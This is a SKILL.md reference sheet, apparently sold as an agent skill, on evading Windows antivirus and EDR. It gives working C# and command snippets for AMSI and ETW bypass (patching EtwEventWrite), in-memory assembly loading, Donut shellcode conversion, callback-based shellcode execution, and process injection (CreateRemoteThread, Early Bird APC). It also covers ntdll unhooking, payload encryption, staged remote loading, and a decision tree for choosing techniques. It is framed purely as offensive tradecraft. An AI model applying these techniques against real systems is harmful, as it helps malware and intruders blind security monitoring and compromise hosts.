SKILL.md
$27
1. AMSI BYPASS OVERVIEW
AMSI (Antimalware Scan Interface) inspects PowerShell, .NET, VBScript, JScript, and Office macros at runtime.
Key AMSI Bypass Categories
Category
Method
Detection Risk
Persistence
Memory patching
Patch AmsiScanBuffer in amsi.dll
Medium
Per-process
Reflection
Modify AMSI init flags via .NET reflection
Medium
Per-session
String obfuscation
Encode/split AMSI trigger strings
Low
Per-payload
PowerShell downgrade
Force PS v2 (no AMSI)
Low
Per-session
CLM bypass
Escape Constrained Language Mode
Medium
Per-session
COM hijack
Redirect AMSI COM server
Low
Per-user
Quick AMSI Bypass (One-Liners)
# PowerShell v2 downgrade (if .NET 2.0 available — no AMSI in v2)
powershell -Version 2
# Reflection-based (set amsiInitFailed = true)
# Obfuscated to avoid static detection — see AMSI_BYPASS_TECHNIQUES.md for full patterns
2. ETW BYPASS
ETW (Event Tracing for Windows) feeds telemetry to EDR. Patching EtwEventWrite stops .NET assembly load events.
Patch EtwEventWrite
// C# — patch EtwEventWrite to return immediately
var ntdll = GetModuleHandle("ntdll.dll");
var etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// Write: ret (0xC3) to first byte
VirtualProtect(etwAddr, 1, 0x40, out uint oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, 1, oldProtect, out _);
PowerShell ETW Bypass
# Disable Script Block Logging (ETW provider)
[Reflection.Assembly]::LoadWithPartialName('System.Management.Automation')
# Set internal field to disable ETW tracing
3. .NET ASSEMBLY LOADING
In-Memory Assembly.Load
byte[] assemblyBytes = File.ReadAllBytes("tool.exe");
// Or download from URL, decrypt from resource
Assembly assembly = Assembly.Load(assemblyBytes);
assembly.EntryPoint.Invoke(null, new object[] { args });
Donut — Convert .NET Assembly to Shellcode
# Generate shellcode from .NET EXE
donut -f tool.exe -o payload.bin -a 2 -c ToolNamespace.Program -m Main
# With parameters
donut -f Rubeus.exe -o rubeus.bin -a 2 -p "kerberoast /outfile:tgs.txt"
# Then load shellcode via any injection technique (§5)
execute-assembly (C2 Framework)
# Cobalt Strike
execute-assembly /path/to/Rubeus.exe kerberoast
# Sliver
execute-assembly /path/to/SharpHound.exe -c all
# Havoc
dotnet inline-execute /path/to/tool.exe args
4. SHELLCODE EXECUTION TECHNIQUES
VirtualAlloc + Callback (Avoids CreateThread)
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
Marshal.Copy(sc, 0, addr, sc.Length);
// Use callback API instead of CreateThread (less monitored)
EnumWindows(addr, IntPtr.Zero);
Callback APIs for shellcode execution: EnumWindows, EnumChildWindows, EnumFonts, EnumDesktops, CertEnumSystemStore, EnumDateFormats — all accept function pointers that can point to shellcode.
5. PROCESS INJECTION TECHNIQUES
Technique
APIs Used
Detection Risk
Notes
CreateRemoteThread
OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread
High
Classic, heavily monitored
NtMapViewOfSection
NtCreateSection, NtMapViewOfSection
Medium
Shared memory, less common
Process Hollowing
CreateProcess (SUSPENDED), NtUnmapViewOfSection, WriteProcessMemory, ResumeThread
Medium
Replace process image
Thread Hijacking
SuspendThread, SetThreadContext, ResumeThread
Medium
Modify existing thread
Early Bird
CreateProcess (SUSPENDED), QueueUserAPC, ResumeThread
Low-Medium
APC before main thread
Phantom DLL Hollowing
Map DLL section, overwrite with shellcode
Low
Uses legitimate DLL mapping
Module Stomping
LoadLibrary, overwrite .text section
Low
Backed by legitimate DLL
Transacted Hollowing
NtCreateTransaction, NtCreateSection
Low
No suspicious allocations
CreateRemoteThread (Basic Pattern)
IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetPid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
WriteProcessMemory(hProcess, addr, sc, (uint)sc.Length, out _);
CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
Early Bird APC Injection
// Create suspended process
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", ..., CREATE_SUSPENDED, ..., ref si, ref pi);
// Allocate and write shellcode
IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
WriteProcessMemory(pi.hProcess, addr, sc, (uint)sc.Length, out _);
// Queue APC to main thread (runs before main entry point)
QueueUserAPC(addr, pi.hThread, IntPtr.Zero);
ResumeThread(pi.hThread);
6. UNHOOKING — BYPASS EDR API HOOKS
Direct Syscalls (SysWhispers / HellsGate)
EDR hooks ntdll.dll functions. Direct syscalls bypass hooks by invoking the kernel directly.
Normal: User code → ntdll.dll (HOOKED) → kernel
Direct: User code → syscall instruction → kernel (bypasses hook)
Tool
Method
Notes
SysWhispers2/3
Compile-time syscall stubs
Static syscall numbers
HellsGate
Runtime syscall number resolution
Dynamic, harder to detect
HalosGate
Resolve from neighboring unhooked syscalls
Handles partial hooks
TartarusGate
Extended HalosGate
More robust resolution
Fresh ntdll Copy
// Read clean ntdll.dll from disk
byte[] cleanNtdll = File.ReadAllBytes(@"C:\Windows\System32\ntdll.dll");
// Or from KnownDlls: \KnownDlls\ntdll.dll
// Or from suspended process (create sacrificial process, read its ntdll)
// Overwrite hooked .text section with clean copy
// → All EDR hooks in ntdll are removed
Indirect Syscalls
// Instead of: syscall (in your code — suspicious)
// Do: jump to syscall instruction inside ntdll.dll (legitimate location)
// The ret address on stack points to ntdll.dll, not your code
7. PAYLOAD ENCRYPTION & OBFUSCATION
Encryption Methods
// AES encryption (preferred)
using Aes aes = Aes.Create();
aes.Key = key; aes.IV = iv;
byte[] encrypted = aes.CreateEncryptor().TransformFinalBlock(shellcode, 0, shellcode.Length);
// XOR (simple, fast)
for (int i = 0; i < shellcode.Length; i++)
shellcode[i] ^= key[i % key.Length];
// RC4 (stream cipher, simple implementation)
Sleep Obfuscation
Encrypt shellcode in memory during sleep to avoid memory scanners.
Technique
Method
Ekko
ROP chain → encrypt heap/stack during sleep
Foliage
APC-based sleep with memory encryption
DeathSleep
Thread de-registration during sleep
Staged Loading
Stage 1: Small, encrypted loader (evades static analysis)
Stage 2: Download actual payload at runtime (encrypted)
Stage 3: Decrypt in memory → execute
8. SIGNATURE EVASION
String Encryption
// Avoid plaintext API names, URLs, tool names
// Use encrypted strings, decrypt at runtime
string decrypted = Decrypt(encryptedApiName);
IntPtr funcPtr = GetProcAddress(GetModuleHandle("kernel32.dll"), decrypted);
API Hashing
// Resolve API by hash instead of name (avoids string detection)
// Hash "VirtualAlloc" → 0x91AFCA54
IntPtr func = GetProcAddressByHash(module, 0x91AFCA54);
Metadata Removal
# Strip .NET metadata
ConfuserEx / .NET Reactor / Obfuscar
# Remove PE metadata (timestamps, rich header, debug info)
# Modify compilation timestamps
# Strip PDB paths
C2 Framework Evasion
Framework
Key Evasion Features
Cobalt Strike
Malleable C2 profiles, HTTP/S traffic shaping, sleep jitter, PE evasion
Sliver
Multiple protocols (mTLS, WireGuard, DNS), stager-less, built-in obfuscation
Havoc
Indirect syscalls, sleep obfuscation, module stomping
Brute Ratel
Badger agent, syscall evasion, ETW/AMSI bypass built-in
9. AV/EDR EVASION DECISION TREE
Need to execute tool/payload on protected host
│
├── PowerShell-based payload?
│ ├── AMSI blocking? → AMSI bypass first (§1)
│ │ ├── .NET 2.0 available? → PS v2 downgrade (no AMSI)
│ │ ├── Memory patch AmsiScanBuffer
│ │ └── Reflection-based bypass
│ ├── Script Block Logging? → ETW bypass (§2)
│ └── Constrained Language Mode? → CLM bypass or switch to C#
│
├── .NET assembly (Rubeus, SharpHound, etc.)?
│ ├── Direct execution blocked?
│ │ ├── In-memory Assembly.Load (§3)
│ │ ├── Convert to shellcode with Donut (§3)
│ │ └── Use C2 execute-assembly (§3)
│ └── Still detected?
│ ├── Obfuscate assembly (ConfuserEx)
│ ├── Modify source + recompile
│ └── Use BOFs (Beacon Object Files) if CS
│
├── Shellcode execution needed?
│ ├── Basic → VirtualAlloc + callback (§4)
│ ├── Need injection → choose technique by OPSEC (§5)
│ │ ├── Low detection needed → module stomping or phantom DLL
│ │ ├── Medium → early bird APC or NtMapViewOfSection
│ │ └── Quick and dirty → CreateRemoteThread
│ └── Memory scanners detect payload?
│ ├── Encrypt payload → decrypt only at execution (§7)
│ └── Sleep obfuscation (Ekko/Foliage) (§7)
│
├── EDR hooking ntdll.dll?
│ ├── Direct syscalls (SysWhispers3/HellsGate) (§6)
│ ├── Fresh ntdll copy from disk/KnownDlls (§6)
│ └── Indirect syscalls (return to ntdll instruction) (§6)
│
├── Signature detection?
│ ├── Known tool signature → modify + recompile
│ ├── String-based → string encryption / API hashing (§8)
│ ├── PE metadata → strip/modify (§8)
│ └── Behavioral → change execution flow, add junk code
│
└── All local evasion fails?
├── Use Living-off-the-Land (LOLBins): certutil, mshta, regsvr32
├── Use legitimate admin tools (PsExec, WMI, WinRM)
└── Switch to fileless / memory-only techniques